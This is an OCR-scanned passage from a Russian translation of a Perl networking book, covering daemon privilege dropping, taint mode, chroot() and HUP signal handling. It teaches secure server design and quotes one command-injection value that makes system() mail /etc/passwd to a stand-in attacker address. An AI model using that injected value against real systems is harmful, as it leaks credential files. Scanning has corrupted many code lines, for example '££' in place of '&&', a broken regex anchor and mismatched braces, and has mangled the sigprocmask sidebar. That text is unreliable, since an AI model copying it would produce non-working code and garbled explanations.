внесения нескольких небольших изменений по всему коду. Необходимые изменения в коде
показаны в листинге 14.4.
Листинг 14.4. Изменения в коде модуля Daemon для обеспечения смены
привилегий пользователя
use constant PIDPATH => '/var/run';
sub init_server {
my ($user,$group);
($pidfile,$user,$group) = @_;
$pidfile | |= getpidfilenameO ;
my $fh = open_pid_file($pidfile);
become_daemon();
print $fh $$;
436
Часть Ш. Разработка систем TCP типа клиент/сервер
8: close $fh;
9: init_log() ;
10: change_privileges($user,$group)
if defined $user ££ defined $group;
11: return $pid = $$;
12: }
13: sub change_privileges {
14: my ($user,$group) = @_;
15: my $uid = getpvmam($user)
or die "Can't get uid for $user\n";
16: my $gid = getgrnam($group)
or die "Can't get gid for $group\n";
17: $) = "$gid $gid";
18: $( = $gid;
19: $> = $uid; # Сменить действующий (но не реальный) UID
20: )
21: END {
22: $> = $<; # Снова приобрести все права
23: unlink $pidfile if $$ == $pid
24: )
Проведем анализ программы.
• Строки 1—12. Подпрограмма init_server(). Эта подпрограмма изменена так, что теперь
она принимает три необязательных параметра: имя файла РЮ, имя пользователя и имя
группы, под которыми она работает. Создается файл РЮ, инициализируется запись в журнал
и выполняется, как прежде, переход в фоновый режим. Если вызывающей процедурой были
указаны и имя пользователя, и имя группы, вызывается новая подпрограмма
change_privileges (). Затем, как и перед этим, выполняется возврат нового РЮ.
Изменяется также константа pidpath для записи файла РЮ в привилегированный каталог
/var/run, а не каталог /usr/tmp, в котором могут выполнять запись все пользователи.
• Строки 13-20. Подпрограмма change_priviieges о. Эта подпрограмма принимает имена
(а нв числовые идентификаторы) пользователя и группы, а также предпринимает попытку
изменить действующие привилегии в соответствии с ними. Выполнение подпрограммы
начинается с вызова функций getpwnamO и getgrnamt) для получения числовых значений UIO
и GIO, соответствующих заданным именам пользователя и группы. Если какой-либо из этих
вызовов оканчивается неудачей, вызывается функция die с сообщением об ошибке (а
результате выполнения подпрограммы in±t_log () эти ошибки появятся в системном журнале).
Внвчале осуществляется изменение реального и действующего идентификаторов группы
путем установки значений переменных $ ( и $). Список дополнительных групп устанавливается
равным пустому значению с использованием общей схемы, описанной ранее, что исключает
для сервера возможность наследовать членство в дополнительных группах от пользователя,
который запустил его на выполнение. Затем изменяется действующий UID процесса путем
присвоения заданного UIO переменной $>.
Важно изменить членство в группе перед изменением действующего UIO, поскольку процессу
разрешено изменять членство в группе только во время его работы с правами
суперпользователя. Следует также отметить, что здесь не изменяется реальный UID. Это позволяет
процессу снова приобрести привилегии суперпользователя, если это потребуется.
■ Строки 21-24. Блок end {). Этот блок отвечает за уничтожение файла РЮ. Однако файл РЮ
был создан во время работы сервера в качестве суперпользователя. Поэтому для
уничтожения файла необходимо снова приобрести привилегии суперпользователя, для чего значение
действующего UID устанавливается равным значению реального UID.
Если выполнение этого блока происходит в то время, когда сервер не запущен от
имени суперпользователя, то все действия, связанные с изменением привилегий,
окончатся неудачей. Явная проверка такой ситуации не предусмотрена, поскольку запуск
сервера от имени непривилегированного пользователя не удастся выполнить, прежде
Глава 14. Повышение безотказности серверов
437
всего, потому, что будет получен отказ при выполнении других операций, требующих
доступа с правами суперпользователя, таких как открытие привилегированного порта.
Для применения возможностей нового кода модуля Daemon необходимо изменить
основной сценарий сервера. Для этого требуется внести следующие изменения.
1. Новые константы USER и GROUP. В начале файла значение константы PORT
изменяется на 1002, а в качестве значения константы PIDFILE задается имя
файла, расположенного в каталоге /var/run. Затем определяются две новые
константы, USER и GROUP, содержащие имена пользователя и группы, под
которыми будет работать сервер. Эти имена должны соответствовать
действительным записям в файлах /etc/passwd и /etc/group, поэтому установите
их значения в соответствии со своей системой.
use constant PORT => 1002;
use constant PIDFILE => '/var/run/eliza_root.pid';
use constant USER => 'nobody*;
use constant GROUP => 'nogroup';
2. Передача значений констант USER и GROUP подпроерамме init_server (). После
открытия приемного сокета вызывается подпрограмма init_server () с
использованием ее новой формы вызова с тремя параметрами, и ей передаются
имя файла PID и значения констант USER и GROUP.
my $pid = init_server(PIDFILE,USER, GROUP) ;
3. Дочерние процессы устанавливают значение реального ЦЮ равным действующему UID
перед обработкой соединений. Это — наиболее важное изменение. После приема
входящего соединения и выполнения ветвления, но перед чтением каких-либо
данных из подключенного сокета, дочерний процесс устанавливает свой
реальный UID равным действующему UID, тем самым навсегда отказываясь от
своей способности снова приобретать привилегии суперпользователя.
while (my $connection = $listen_socket->accept) {
my $host = $connection->peerhost;
log_die("Can't fork: $!") unless defined (my $child = fork());
if ($child == 0) {
$listen_socket->close;
$< = $>; # Установить реальный UID равным действующему
log_notice("Accepting a connection from $host\n");
interact($connection)
При попытке запустить откорректированный сценарий от имени
непривилегированного пользователя сервер аварийно завершает работу с сообщением об ошибке,
в котором говорится, что невозможно открыть зарезервированный порт. После
регистрации в качестве суперпользователя и запуска сервер успешно открывает порт и
создает файл PID (принадлежащий пользователю и группе root). Выполнив команду
ps после запуска сервера, можно видеть, что главный сервер и его дочерние
процессы работают под именем пользователя nobody.
nobody 2279 1.0 6.6 5320 4172 S 10:07 0:00 /usr/bin/perl
eliza_root.pl
nobody 2284 0.5 6.7 5368 4212 S 10:07 0:00 /usr/bin/perl
eliza_root.pl
nobody 2297 1.0 6.7 5372 4220 S 10:08 0:00 /usr/bin/perl
eliza root.pl
438
Часть Ш. Разработка систем TCP типа клиент/сервер
Теперь риск непреднамеренного повреждения сервером системы в процессе его
работы под именем пользователя root ограничен только теми файлами, каталогами и
командами, к которым имеет доступ пользователь nobody.
Режим проверки потенциально опасных
данных
Рассмотрим гипотетический сетевой сервер, задача которого состоит в
автоматической рассылке электронной почты указанным получателям. Такой сервер может
принимать адреса электронной почты из сокета и передавать их программе Sendmail
UNIX. Фрагмент кода для выполнения этой задачи может выглядеть примерно так:
chomp($email = <$sock>);
system "/bin/mail $email <Mail_Message.txt";
После чтения адреса электронной почты из сокета вызывается функция system()
для выполнения программы /usr/lib/sendmail с адресом указанного получателя
в качестве параметра. Стандартный ввод в программу sendmail перенаправлен из
заранее подготовленного файла почтового сообщения.
Этот сценарий содержит брешь в защите. Злонамеренная личность, желающая
воспользоваться этой брешью, может передать примерно такой адрес электронной почты:
badguy@hackers.com </etc/passwd; cat >/dev/null
В результате функция system () выполнит следующую строку команды.
/bin/mail badguys@hackers.com </etc/passwd; cat >/dev/null
•cMail_Message.txt
Поскольку функция system() для выполнения своей работы вызывает
субинтерпретатор (командный интерпретатор типа /bin/sh), учитываются все метасимволы
командного интерпретатора, включая точки с запятой и символы перенаправления.
Вместо выполнения действия, задуманного автором, эта команда отправит весь файл
паролей системы по указанному почтовому адресу!
Такую ошибку допустить очень легко. Одним из способов ее предотвращения
является передача функциям system () и exec () списка параметров, а не всей команды
вместе с параметрами в виде одной строки. При передаче этим функциям списка
параметров команда выполняется непосредственно, а не через командный
интерпретатор. В результате метасимволы командного интерпретатора игнорируются.
Например, только что приведенный фрагмент кода можно сделать более безопасным,
заменив указанный выше вызов следующим:
chomp($email = <$sock>);
open STDIN,"Mail_Message.txt";
system "/bin/mail",$email;
Теперь функция s ys tern () вызывается с использованием двух отдельных
параметров, состоящих из имени команды и адреса электронной почты. Перед вызовом
функции system() дескриптор STDIN переоткрывается в желаемое почтовое
сообщение так, чтобы его унаследовала почтовая программа.
Еще одна известная ошибка касается создания или открытия файлов в каталоге,
доступном для записи всем пользователям, таком как / tmp. Взломщики зачастую
создают символическую связь, ведущую от файла, о котором известно, что сервер попы-
Глава 14. Повышение безотказности серверов
439
тается в него записывать данные, к файлу, который они хотят перекрыть. Эта
проблема особенно характерна для программ, работающих с привилегиями
суперпользователя. Представьте себе, что произойдет, если психотерапевтический сервер,
работающий с правами суперпользователя, попытается открыть свой файл PID с именем
/usr/tmp/eliza.pid, но кто-то уже создал символическую ссылку от этого файла
к файлу /etc/passwd. Сервер сотрет системный файл, что приведет к
катастрофическим результатам. Это — одна из причин, почему в наших примерах процедур
открытия файла PID всегда используется режим, который позволяет успешно
выполнить эту попытку, только если файл еще не существует.
К сожалению, есть еще много других мест, где могут скрываться незаметные
ошибки, и трудно проверить их все вручную. По этой причине в языке Perl
предусмотрено средство защиты, называемое "режимом проверки потенциально опасных
данных". Такой режим состоит в выполнении проверок в процессе обработки данных
в сценарии. Каждая переменная, содержащая данные, полученные извне сценария,
отмечается как потенциально опасная, и каждая переменная, в которую затем
попадают эти потенциально опасные данные, также становится потенциально опасной.
Потенциально опасные переменные могут использоваться внутри сценария, но
Perl запрещает их использование любым способом, который мог бы повлиять на все,
что находится за пределами сценария. Например, разрешается выполнять числовые
расчеты с данными, полученными из сокета, но запрещается передавать эти данные
в команду system ().
К потенциально опасным данным относится следующее.
■ Содержимое хеша %ENV.
■ Данные, считанные из командной строки.
■ Данные, считанные из сокета или дескриптора файла.
■ Данные, полученные из оператора обратных одинарных кавычек.
■ Информация региональной установки.
■ Результаты выполнения функций readdir{) и readlink().
■ Значения поля gecos файла паролей, полученные из функций getpw*,
поскольку это поле может быть установлено пользователями.
Потенциально опасные данные не могут использоваться в тех функциях,
результаты которых распространяются за пределы сценария; в ином случае интерпретатор
Perl вызывает функцию die с сообщением об ошибке. К этим операциям относится
следующее.
■ Форма вызова функций system () или exec () с одним параметром.
■ Обратные одинарные кавычки.
■ Функция eval ().
■ Открытие файла для записи.
■ Открытие канала.
■ Функция glob () и оператор glob (<*>).
■ Функция unlink ().
■ Функция unmask ().
■ Функция kill ().
440
Часть Ш. Разработка систем TCP типа клиент/сервер
Форма вызова функций system (} и exec {) со списком параметров не подвергается
проверке на отсутствие потенциально опасных данных, поскольку выполняемые
команды не передаются командному интерпретатору. Аналогичным образом
интерпретатор Perl разрешает открыть для чтения файл, имя которого указано с использованием
потенциально опасных данных; открытие такого файла для записи запрещено.
Кроме отслеживания потенциально опасных переменных, режим проверки
потенциально опасных данных предусматривает контроль некоторых часто
встречающихся ошибок. Одной из таких ошибок является использование пути доступа к
команде, унаследованного от переменных среды. Поскольку функции system ()
и exec (), а также функция открытия канала open () при определенных условиях
ищут выполняемую команду в пути доступа, злонамеренный локальный пользователь
может заставить сервер выполнить не предусмотренную для него программу, изменив
переменную среды PATH. Аналогичным образом интерпретатор Perl отказывается
работать в режиме проверки потенциально опасных данных, если какой-либо из
компонентов переменной PATH доступен для записи любому пользователю. Для командного
интерпретатора имеют особое значение еще несколько переменных среды;
интерпретатор Perl отказывается работать в режиме проверки потенциально опасных
данных, если эти переменные не удалены или не установлены в значение, которое уже не
является потенциально опасным. К ним относятся ENV, BASH_ENV, IFS и CDPATH.
Применение режима проверки потенциально
опасных данных
Интерпретатор Perl входит в режим проверки потенциально опасных данных
автоматически, если обнаруживает, что сценарий работает в режиме setuid или
setgid. Для вызова на выполнение в режиме проверки потенциально опасных
данных других сценариев, их нужно запустить с флажком -Т. Этот флажок может быть
указан в командной строке:
perl -T eliza_root.pl
или в строке # ! самого сценария:
#!/usr/bin/perl -T
Вполне возможно, что при первой же попытке выполнить сценарий в этом режиме,
он закончится аварийно на самом первом этапе с сообщением "Insecure path..."
или "Insecure dependency...". Чтобы избежать появления сообщений о
переменной PATH и других потенциально опасных переменных среды, их необходимо явно
установить или удалить во время инициализации. В сценарии психотерапевтического
сервера это можно сделать во время выполнения подпрограммы become_daemon (),
поскольку в ней уже явно устанавливается значение переменной PATH.
sub become_daemon {
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/shin';
delete @ENV{'IFS1, 'CDPATH1, 'ENV*, 'BASH ENV'};
}
В результате создается впечатление, что психотерапевтический сервер работает
нормально, пока не возникают определенные обстоятельства. Если выполнение
сервера в качестве демона завершается аварийно, например в результате выполнения
Глава 14. Повышение безотказности серверов
441
команды kill -9, то при следующей попытке его запуска на выполнение
подпрограмма open_pid_f He () обнаруживает оставшийся файл PID и проверяет, работает
ли еще старый процесс, вызвав функцию kill () с сигналом 0.
my $pid = <$fh>;
croak "Server already running with PID $pid" if kill 0 => $pid;
Однако в этот момент выполнение программы завершается с сообщением об ошибке.
Insecure dependency in kill while running with -T switch at
Daemon.pm line 86.
Причина этой ошибки очевидна. Значение переменной $pid было считано из не-
уничтоженного файла PID, а поскольку он находится за пределами сценария, то
считается потенциально опасным. С другой стороны, функция kill () воздействует на
то, что находится за пределами сценария, и поэтому ей запрещено работать под
управлением потенциально опасных переменных. Чтобы этот сценарий мог
работать, необходимо каким-то образом присвоить переменной $pid значение, которое
не является потенциально опасным.
Существует один и только один способ присвоить переменной значение, которое
не является потенциально опасным. Необходимо сопоставить ее с образцом с
использованием одной или нескольких подгрупп регулярного выражения, заключенных в
скобки, и извлечь значения этих подгрупп с помощью пронумерованных переменных
$1, $2 и т.д. Для этого не применяются операции, которые внешне кажутся
эквивалентными указанной операции, такие как подстановка по образцу и присвоение
результатов сопоставления с образцом списку. В языке Perl используется соглашение,
что если программист явно выполняет сопоставление с образцом, а затем
присваивает полученные значения пронумерованным переменным, то он знает, что делает.
Извлеченные подстроки не считаются потенциально опасными и могут
применяться в функции kill () и в других небезопасных вызовах. В данном случае
предполагается, что переменная $pid содержит положительное целое число, поэтому
присвоение ей значения, которое не является потенциально опасным, можно
выполнить следующим образом.
sub open_pid_file (
my $pid = <$fh>;
croak "Invalid PID file" unless $pid =~ /~(\d+)$/;
croak "Server already running with PID $1" if kill 0 => $1;
}
Выполняется сопоставление переменной $pid с образцом /Л (\d+) $/ и, если эта
операция оканчивается неудачей, вызывается функция die. В ином случае
вызывается функция kill () для отправки сигнала процессу с идентификатором,
соответствующим сопоставленному выражению, с использованием переменной $1, которая
перестала быть потенциально опасной. Режим проверки потенциально опасных
данных используется в последней версии психотерапевтического сервера в конце
настоящей главы.
Как показывает этот пример, даже такие крошечные программы, как наш
психотерапевтический сервер, могут содержать бреши в защите (хотя в этом случае бреши
были очень малы). Режим проверки потенциально опасных данных должен
применяться во всех нетривиальных сетевых приложениях, особенно если они работают
с привилегиями суперпользователя.
442
Часть III. Разработка систем TCP типа клиент/сервер
Применение функции chrootQ
Еще одним широко используемым методом защиты системы от серверов, которые
могут содержать программные ошибки, является применение функции chroot ().
Данная функция принимает один параметр, содержащий путь к каталогу, и изменяет
текущий процесс так, что этот путь становится для текущего процесса каталогом верхнего
уровня ("/")- Это действие функции chroot () является необратимым. После установки
нового каталога верхнего уровня программа не может выйти за его пределы или
работать с файлами и каталогами, расположенными выше его. Это — очень эффективный
способ изоляции сценария от конфиденциальных системных файлов и программ.
Функция chroot () не меняет текущий каталог. Обычно перед вызовом функции
chroot () программу переводят с помощью функции chdir () в какую-то часть
ограниченного пространства. Функция chroot () может быть выполнена только во время
работы программы с правами суперпользователя и доступна только в системах UNIX.
Обычно она используется в программах, которые должны выполнять большое число
внешних команд или являются особенно мощными. Например, демон FTP может быть
настроен на предоставление доступа анонимным пользователям к ограниченной части
файловой системы. Для введения в действие этих ограничений, демон FTP вызывает
функцию chroot () вскоре после регистрации анонимного пользователя, устанавливая
в качестве каталога верхнего уровня заранее предусмотренную ограниченную область.
Применение функции chrootQ в программе
психотерапевтического сервера
Введение поддержки функции chroot () в программе психотерапевтического
сервера является довольно несложным, но вначале необходимо проанализировать,
какие дополнительные соображения с этим связаны. Вряд ли следует эксплуатировать
весь сервер в среде chroot (), поскольку после нормального завершения работы он
больше не сможет получить доступ к своему файлу PID и удалить его. Необходимо
перейти в ограниченный каталог до начала взаимодействия с удаленным пользователем.
Это лучше всего сделать в главном цикле дочернего процесса непосредственно перед
тем, как этот процесс откажется от привилегий суперпользователя.
В листинге 14.5 показано, как это сделать. (Это — небольшая доработка основного
психотерапевтического сервера.) Непосредственно перед вызовом подпрограммы
interact () дочерний процесс вызывает новую подпрограмму prepare_child (),
которая восстанавливает права доступа суперпользователя, меняя местами значения
реального и действующего идентификаторов пользователя (строка 15). В результате
действующим идентификатором пользователя становится root. Эта операция
выполняется в операторе local () внутри блока; после выполнения этого блока
значения идентификаторов пользователей снова поменяются местами. Вызывается
функция chroot () для переназначения корневого каталога (строка 19). В последнем
операторе действующий идентификатор пользователя присваивается реальному, что
приводит к необратимому отказу от привилегий суперпользователя.
В данном примере в качестве каталога, с которым выполняется вызов функции
chroot (), применяется /home/ftp. Это — тот же каталог, который используется для
анонимных FTP-серверов в системах Linux, поэтому он вряд ли содержит
конфиденциальные данные или уязвимые файлы.
Глава 14. Повышение безотказности серверов
443
После вызова функции chroot () сценарий весьма эффективно изолирует себя от
остальной части системы. Как путешественник, отправляющийся в неизведанную
дикую местность, сценарий должен взять с собой все необходимое, включая файлы
конфигурации, внешние утилиты и библиотеки Perl. Эти компоненты должны быть
размещены в каталоге назначения chroot (), и все жестко закодированные имена
путей в сценарии должны быть откорректированы с учетом того, как будет выглядеть
файловая система после превращения каталога назначения в каталог верхнего
уровня. Например, файл, который находился в каталоге /home/f tp/bin/ls перед
выполнением chroot (), после выполнения chroot () для каталога /home/ftp
становится принадлежащим каталогу /bin/Is.
Листинг 14.5. В перепроектированном главном цикле программы
психотерапевтического сервера вызывает -функция hr ot()
use constant ELIZA HOME => '/home/ftp';
while (my $connection = $listen_socket->accept) {
my $host = $connection->peerhost;
logdie("Can't fork: $!")
unless defined (my $child = fork());
if ($child == 0} {
$listen_socket->close;
prepare_child(ELIZA_HOME);
log_notice ("Accepting a connection from $host\n"),-
interact($connection);
log_notice("Connection from $host finished\n"};
10: exit 0;
11: }
12: $connection->close;
13: }
14
15
16
17
18
19
20
21
22
sub prepare_child {
my $home = shift;
if ($home) {
local ($>,$<) = ($<,$>); # Снова приобрести права
# root (на короткое время)
chdir $home or die "chdir(): $!" ;
chroot $home or die "chroot(): $!";
}
$< = $>; # Установить реальный UID равным действующему
}
Если сценарий во время работы вызывает другие программы, на них также будут
распространяться ограничения chroot (). Это значит, что все файлы, необходимые
для их работы, включая файлы конфигурации и динамически связываемые
библиотеки, должны быть скопированы в каталог chroot ().
В качестве конкретного примера нарушения такого требования рассмотрим
следующее. При первом запуске автором программы с этими изменениями все шло
хорошо, пока модуль Chatbot:: Eliza не предпринял попытку выдать
предупреждающее сообщение; в этот момент в системном журнале появилось сообщение с
предупреждением, что Perl не может загрузить Carp: : Heavy — внутренний компонент
модуля Carp. Очевидно, что этот модуль не загружается автоматически при выполне-
444
Часть III. Разработка систем TCP типа клиент/сервер
нии оператора use Carp; он загружается динамически при первом применении
модуля Carp. Однако поскольку дерево библиотек Perl сразу после вызова функции
chroot () стало недоступным, он не мог быть загружен. Автор выбрал следующее
решение. Он явно указал оператор use Carp: : Heavy в модуле Daemon, тем самым
обеспечив его предварительную загрузку. Еще одно решение могло бы предусматривать
копирование этого файла в соответствующее место в каталоге /home/ftp/lib.
Необходимо всегда учитывать возможность возникновения такой ситуации,
особенно при использовании средства Autoloader интерпретатора Perl. Использование
средства Autoloader основано на том, чтобы откладывать трансляцию файлов с
расширением . рт до того момента, пока они потребуются, а это значит, что все файлы
с расширением . al, обработанные программой Autoloader, должны быть доступны
сценарию в среде chroot ().
Обработка сигнала HUP и других
сигналов
Часто возникает необходимость изменить конфигурацию уже работающего
сервера. Многие демоны UNIX следуют соглашению, согласно которому сигнал HUP
рассматривается как команда выполнить повторную инициализацию или переустановку
сервера. Например, сервер, который работает под управлением файла конфигурации,
может ответить на сигнал HUP, выполнив повторную интерпретацию этого файла и
изменив свою конфигурацию. Сигнал HUP был выбран для этой цели потому, что его
обычно не получает процесс, который отсоединил себя от управляющего терминала.
В последней версии программы психотерапевтического сервера предусмотрено
выполнение следующих действий. Сервер в ответ на сигнал HUP разрывает все
текущие соединения, закрывает приемный сокет, а затем перезапускает сам себя.
Изменен также обработчик TERM так, что сервер разрывает все соединения и прекращает
работу. Перезапуск сервера таким образом приводит к тому, что сигнал HUP
инициализирует корректный запуск. Запись в журнал приостанавливается и снова
запускается, выполняется повторная инициализация памяти, а если есть файл конфигурации,
сервер вновь его открывает и интерпретирует.
В этом примере не только показано, как обрабатывать сигнал HUP, но и
проиллюстрированы два других метода.
1. Безопасное изменение обработчиков прерывания в дочернем процессе,
созданном путем ветвления.
2. Вызов с помощью функции exec () программы в условиях применения режима
проверки потенциально опасных данных.
Для обеспечения правильной обработки сигнала HUP необходимо изменить и
основной файл сценария, и модуль Daemon.
Изменения в основном сценарии
В листинге 14.6 приведен полный код сценария eliza_hup.pl, который теперь
содержит код обработчика HUP, в дополнение к рассмотренному ранее коду
выполнения функции chroot (), изменения привилегий, применения режима проверки
потенциально опасных данных и ведения журнала.
Глава 14. Повышение безотказности серверов 445
L
Листинг 14.6. Психотерапевтический сервер, который отвечает на сигнал hup
0: #!/usr/bin/perl -T
1: # Файл: eliza_hup.pl
2: use strict;
3: use lib '.';
4: use Chatbot::Eliza;
5: use IO::Socket;
6: use Daemon;
7: use constant PORT => 1002;
8: use constant PIDFILE => '/var/run/eliza_hup.pid';
9: use constant USER => 'nobody *;
10: use constant GROUP => 'nogroup';
11: use constant ELIZA_HOME => '/home/ftp";
12: # Обработчик сигналов, связанных с завершением работы
# дочерних процессов
13: $SIG{TERM} = $SIG{INT} = \&do_term;
14: $SIG{HUP} = \&do_hup;
15: my $port = $ARGV[0] |I PORT;
16: my $listen_socket =
IO::Socket::INET->new(LocalPort => $port,
17: Listen => 20,
18: Proto => *tcp',
19: Reuse => 1);
20: die "Can't create a listening socket: $G"
unless $listen_socket;
21: my $pid = initserver(PIDFILE,USER,GROUP,$port);
22: log_notice "Server accepting connections on port $port\n";
23: while (my $connection = $listen_socket->accept) {
24: my $host = §connection->peerhost;
25: my $child = launch_child(undef,ELIZA_HOME);
26: if ($child — 0) {
27: $listen_socket->close;
28: log_notice("Accepting a connection from $host\n");
29: interact($connection);
30: log_notice("Connection from $host finished\n");
31: exit 0;
32: }
33: $connection->close;
34: }
35: sub interact {
36: my $sock = shift;
37: STDIN->fdopen($sock, "r")
or die "Can't reopen STDIN: $!";
38: STDOUT->fdopen($sock,"w")
or die "Can't reopen STDOUT: $!";
39: STDERR->fdopen($sock, "w")
or die "Can't reopen STDERR: $!";
40: $| = 1;
41: my $bot = Chatbot::Eliza->new;
446
Часть III. Разработка систем TCP типа клиент/сервер
42: $bot->comraand_interface;
43: }
44: sub do_term {
45: log_notice("TERM signal received, terminating
children..-\n");
4 6: kill_children();
47: exit 0;
48: }
49
50
51
52
53
54
55
56
57
58
66
67
68
sub do_hup {
log_notice("HUP signal received, reinitializing...\n");
log_notice("Closing listen socket...\n");
close $listen_socket;
log_notice("Terminating children...\n");
kill_children;
log_notice("Trying to relaunch...\n");
do_relaunch();
log_die("Relaunch failed. Died");
}
59: sub Chatbot::Eliza: :_testquit {
60: my ($self,$string) = G_;
61: return 1 unless defined $string; # проверить наличие
# конца файла EOF
62: foreach (G{$self->{quit}}) {
return 1 if $string =~ /\b$_\b/i };
63: }
64: # Исключить появление предупреждающих сообщений,
# вырабатываемых модулем Chatbot::Eliza
65: sub Chatbot::Eliza::DESTROY { }
END {
log_notice("Server exiting normally\n") if $$ == $pid;
}
Проведем анализ программы.
• Строки 1-12. Инициализация модулей и констант. Вводится флажок -т в верхней строке
файла, что приводит к включению режима проверки потенциально опасных данных
интерпретатора Perl. Определяется константа eliza_home и другие константы.
• Строки 13,14. Установка обработчиков term и hup. Устанавливаются подпрограммы
do_term() и do_hup (), соответственно, в качестве обработчиков сигналов TERM и HUP.
Устанавливается также подпрограмма do_term() как обработчик сигнала int.
• Строка 15. Выборка номера порта из командной строки. Эта строка немного изменена так,
чтобы параметр с обозначением номера порта оставался в массиве Gargv, а не выбирался из
него с помощью оператора shift. Это сделано с той целью, чтобы процедура do_reiaunch()
(которая будет рассмотрена далее) продолжала иметь доступ к параметрам командной строки.
• Строки 16-43. Инициализация сокета, главный цикл и обслуживание соединения.
Единственное изменение внесено а строке 25, где вместо непосредственного вызова функции
fork () вызывается iaunch_chiid () — новая подпрограмма, которая определена в модуле
Daemon. Эта подпрограмма выполняет ветвление, вызывает функцию chroot () и
отказывается от привилегий суперпользователя, как и в предыдущих версиях сценария. Кроме этого,
подпрограмма iaunch_chiid () следит за идентификаторами порожденных дочерних
процессов, чтобы их можно было корректно завершить при получении сервером сигнала HUP или
сигнала завершения.
Глава 14. Повышение безотказности серверов 447
Подпрограмма launch_child () принимает два необязательных параметра: имя процедуры
обратного вызова, которая должна быть вызвана после завершения работы дочернего процесса,
и путь к каталогу, для которого должна быть выполнена функция chroot (). Первый параметр
представляет собой ссылку на код. Этот код вызывается обработчиком chld модуля Daemon
после вызова функции waitpid (), что позволяет включить в программу а случае необходимости
дополнительный код. В данном примере это средство не требуется, поэтому первый параметр
остается пустым (мы воспользуемся этой возможностью в главе 16 при повторном рассмотрении
модуля Daemon). Однако в подпрограмме launch_child () должна быть выполнена функция
chroot (), поэтому в качестве второго параметра задана константа eliza_HOME.
Строки 44-48. Обработчик сигнала term, подпрограмма do_term(). Обработчик term
регистрирует сообщение в системном журнале и вызывает новую подпрограмму
kiil_chiidren () для закрытия всех активных соединений. Эта подпрограмма определена
в пересмотренном модуле Daemon. После возврата из подпрограммы kill_chiidren ()
происходит завершение работы сервера.
Строки 49-58. Обработчик сигнала hup, подпрограмма do_hup О. Закрывается приемный
сокет, разрываются активные соединения с помощью программы kiil_chiidren (), а затем
вызывается do_relaunch () — еще одна новая подпрограмма, которая определена в модуле
Daemon. Подпрограмма do_relaunch () пытается повторно выполнить сценарий и в случае
успешного выполнения не возвращает управление. Если она выполняет возврат, вызывается
функция die с сообщением об ошибке.
Строки 5&-65. Поправки к модулю chatbot:: Eliza. Как и прежде, переопределяется
подпрограмма Chatbot::Eliza: :_testquit () для исправления ошибки в коде обнаружения признака
конца файла. Определена также пустая подпрограмма chatbot::Eliza: :Destroy(), что
позволяет устранить раздражающие сообщения, которые появляются при выполнении этого
сценария в некоторых версиях Perl.
Строки 66-68. Регистрация в журнале сообщения о нормальном завершении работы. При
нормальном завершении работы сервера в журнал записывается сообщение, как и в
предыдущих версиях сценария.
Изменения в модуле Daemon
Наиболее интересные изменения внесены в модуль Daemon. pm, в котором
определены новые подпрограммы и изменены существующие. Эти изменения можно
вкратце охарактеризовать следующим образом.
1. Изменения в процедурах ветвления и обработки сигнала CHLD в целях
обеспечения актуального учета идентификаторов процессов, соответствующих каждому
из одновременно работающих соединений. Этот учет ведется в подпрограмме
launch_child () путем добавления PID каждого дочернего процесс к
глобальному хешу %CHILDREN и в обработчике сигнала reap_child (} посредством
удаления дочерних процессов, завершивших работу, из хеша %CHILDREN.
2- Изменение кода ветвления с тем, чтобы дочерние процессы не наследовали
обработчики прерываний родительского серверного процесса. Соображения,
лежащие в основе этого изменения, будут подробно изложены ниже.
3. Хранение информации о текущем каталоге, чтобы демон мог перезапустить
сам себя в той же среде, в которой он был перед этим запущен.
4. Добавление подпрограммы kill_children () для завершения всех активных
соединений.
5. Добавление подпрограммы do_re launch () для перезапуска сервера после
получения сигнала HUP.
448
Часть III. Разработка систем TCP типа клиент/сервер
Самым новаторским дополнением к модулю Daemon. pm является код блокировки
и восстановления сигналов в подпрограмме launch_child (). В предыдущих версиях
этого сервера нас не беспокоил тот факт, что дочерний процесс наследует
обработчики сигналов от родительского, поскольку единственным установленным
обработчиком сигнала был безопасный обработчик CHLD. Однако в текущем воплощении
сервера вновь созданные дочерние процессы наследуют также обработчик HUP
родительского процесса, который, безусловно, не должен вызываться дочерними
процессами, поскольку это приведет к многочисленным безуспешным попыткам
каждого дочернего процесса перезапустить сервер.
Для этого следует выполнить функцию fork(), а затем немедленно
переустановить обработчик HUP дочернего процесса в значение "DEFAULT", чтобы восстановить
правило поведения, предусмотренное в нем по умолчанию. Однако есть небольшой,
но реальный риск, что входящий сигнал HUP поступит в тот опасный период, когда
путем ветвления будет создан дочерний процесс, но еще не появится возможность
переустановить обработчик $SIG{HUP}. Самый безопасный порядок действий для
родительского процесса состоит в том, чтобы временно заблокировать сигналы
перед выполнением ветвления, а затем разблокировать их и в дочернем, и в
родительском процессах после переустановки обработчиков сигналов дочернего процесса.
Такую возможность предоставляет функция sigprocmask (), которая может быть
получена из модуля POSIX.
! $result = sigprocmask($operation,$newsigset[,$oldsigset]) "'■
Ь Функция sigprocmask {) манипулирует так называемой "маской сигнала" процесса—двоичной
i маской, которая управляет тем, какие сигналы будет (или не будет) получать процесс. По умолчанию
I процессы получают все сигналы операционной системы, но можно заблокировать лишь некоторые
из них или все, установив новую маску сигнала: Сигналы не гтбрасываится,. а переь^ДЯтСЙ сЬ-
стгяние ожидание до тех пор, пока процесс не разблокирует сигналы
Перпым параметром функции sigprocm-.sk () является операция, которая дслжня быть выпел-
ненз с маской, а второй параметр задает набор сигналов, для которого должно £ьггь выполнено
указанное действие. Третий необязательный параметр получит копию старей маски процесса,
В качестее.слерации sigprocmssk () мэжет быть указана одна из следующих трех констант.
• sig_block. Сигналы, обозначенные в наборе сигналов, добавляются к маске сигнала
процесса, что приводит к их блокированию.
• sig_unblock. Сигналы, обозначенные в наборе сигналов, удаляются из маски сигнвла
процесса, что приводит к их разблокированию.
• sig_setmask. Маска сигнала процесса полностью очищается и заменяется сигналами,
указанными в наборе сигналов.
Наборы сигналов можно создавать и изучать с помощью небольшого
вспомогательного класса PoSIX: :SigSet, который манипулирует наборами сигналов во
многом аналогично тому, как модуль IO:: Select манипулирует наборами дескрипторов
файлов. Для создания нового набора сигналов можно вызвать метод
POSIX: : SigSet->new () со списком констант сигналов. Эти константы носят имена
SIGHUP, SIGTERMHT.fl.
$signals = POSIX::SigSet->new(SIGINT,SIGTERM,SIGHUP);
Теперь набор сигналов $signals можно передать функции sigprocmask ().
Чтобы временно заблокировать сигналы INT, TERM и HUP, можно вызвать
функцию sigprocmask () с параметром SIG_BLOCK.
sigprocmask(SIG_BLOCK,$signals) ;
Глава 14. Повышение безотказности серверов
449
Для разблокирования сигналов применяется параметр SIG_UNBLOCK.
